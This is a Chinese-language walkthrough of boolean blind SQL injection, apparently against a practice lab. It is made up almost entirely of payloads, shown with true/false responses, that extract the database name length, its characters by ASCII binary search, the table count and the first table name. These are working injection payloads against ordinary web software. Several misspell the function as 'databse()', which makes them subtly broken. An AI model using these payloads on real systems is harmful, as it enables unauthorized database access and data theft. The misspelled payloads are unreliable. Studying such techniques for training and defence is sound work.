猜解當前數據庫名 輸入 1 ’ and length(database())=1 # ,顯示不存在; 輸入 1 ’ and length(database())=2 # ,顯示不存在; 輸入 1 ’ and length(database())=3 # ,顯示不存在; 輸入 1 ’ and length(database())=4 # ,顯示存在: 采用二分法猜解數據庫名 輸入 1’ and ascii(substr(databse(),1,1))>97 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值大於 97 (小寫字母 a 的 ascii 值); 輸入 1’ and ascii(substr(databse(),1,1))<122 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值小於 122 (小寫字母 z 的 ascii 值); 輸入 1’ and ascii(substr(databse(),1,1))<109 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值小於 109 (小寫字母 m 的 ascii 值); 輸入 1’ and ascii(substr(databse(),1,1))<103 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值小於 103 (小寫字母 g 的 ascii 值); 輸入 1’ and ascii(substr(databse(),1,1))<100 # ,顯示不存在,說明數據庫名的第一個字符的 ascii 值不小於 100 (小寫字母 d 的 ascii 值); 輸入 1’ and ascii(substr(databse(),1,1))>100 # ,顯示不存在,說明數據庫名的第一個字符的 ascii 值不大於 100 (小寫字母 d 的 ascii 值),所以數據庫名的第一個字符的 ascii 值為 100 ,即小寫字母 d 。 猜解數據庫中的表名 1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #顯示不存在 1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #顯示存在 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #顯示不存在 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #顯示不存在 … 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #顯示存在 說明第一個表名長度為 9 。 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在 說明第一個表的名字的第一個字符為小寫字母g。
